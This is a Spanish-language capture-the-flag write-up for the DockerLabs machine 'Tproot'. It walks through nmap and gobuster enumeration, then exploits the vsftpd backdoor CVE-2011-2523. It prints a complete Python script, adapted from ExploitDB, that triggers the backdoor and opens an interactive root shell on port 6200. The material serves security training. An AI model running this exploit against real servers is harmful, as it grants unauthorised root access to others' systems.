Ir al contenido

Tproot

En este artículo explico cómo resolví el CTF de la máquina virtual Tproot. A lo largo del texto, detallo paso a paso las técnicas y herramientas utilizadas para identificar y explotar sus vulnerabilidades.

  • Nombre: Tproot
  • Autor: d1se0
  • Nivel de Dificultad: Muy fácil
  • Fecha de creación: 10/02/2025

  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo:

    Ventana de terminal
    unzip Tproot.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh Tproot.tar

Al iniciar la máquina, se nos proporciona directamente su dirección IP, por lo que no fue necesario realizar un escaneo ARP.

IP asignada

Creamos una carpeta para el proyecto y utilizamos la función mkt, que genera automáticamente cuatro subdirectorios: content, exploits, nmap y scripts.

Ventana de terminal
mkdir Tproot
cd Tproot
mkt

Realizamos un escaneo completo de puertos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos con:

Ventana de terminal
extractPorts allPorts

Puertos

Escaneamos los servicios detectados:

Ventana de terminal
nmap -sCV -p80 172.17.0.2 -oN targeted

Servicios

El escaneo revela una vulnerabilidad explotable: CVE-2011-2523.


Detectamos un servicio FTP activo en el puerto 21. Lo escaneamos en busca de vulnerabilidades conocidas:

Ventana de terminal
nmap -p21 --script vuln 172.17.0.2

Enumeramos los directorios accesibles del servidor web:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Resultado:

Gobuster

Se descubre un index.html sin vulnerabilidades aparentes. Se trata de la página por defecto de Apache.

index apache


La vulnerabilidad CVE-2011-2523 permite ejecución remota de comandos (RCE). Al conectarse al servicio FTP e ingresar :) como nombre de usuario, se habilita una shell administrativa en el puerto 6200.

Debido a que la conexión directa no es posible en esta ocasión, utilizamos un script adaptado de ExploitDB:

#!/usr/bin/env python3
import argparse
import asyncio
from signal import signal, SIGINT
from sys import exit
from telnetlib3 import open_connection
def handler(signal_received, frame):
print('[+] Saliendo...')
exit(0)
signal(SIGINT, handler)
parser = argparse.ArgumentParser()
parser.add_argument("host", help="Dirección IP del host vulnerable", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21
user = "USER nergal:)"
password = "PASS pass"
async def main():
reader, writer = await open_connection(host, portFTP)
writer.write(user + '\n')
await writer.drain()
print(await reader.read(1024))
writer.write(password + '\n')
await writer.drain()
print(await reader.read(1024))
try:
reader2, writer2 = await open_connection(host, 6200)
print('Shell abierta en el puerto 6200. Usa `exit` para salir.')
while True:
command = input("shell> ")
if command.strip().lower() == "exit":
break
writer2.write(command + '\n')
await writer2.drain()
print(await reader2.read(4096))
writer2.close()
await writer2.wait_closed()
except Exception as e:
print(f"[!] Error al conectar al puerto 6200: {e}")
writer.close()
await writer.wait_closed()
if __name__ == "__main__":
asyncio.run(main())

Ejecutamos el script:

Ventana de terminal
python3 script.py 172.17.0.2

No es necesario realizar técnicas de escalada, ya que la shell obtenida se ejecuta directamente como usuario root.

Root acceso


  • La máquina cumple su propósito como ejercicio introductorio, con una dificultad muy baja.
  • Ideal para practicar explotación de servicios FTP vulnerables y uso de herramientas como Nmap, Gobuster y scripts personalizados.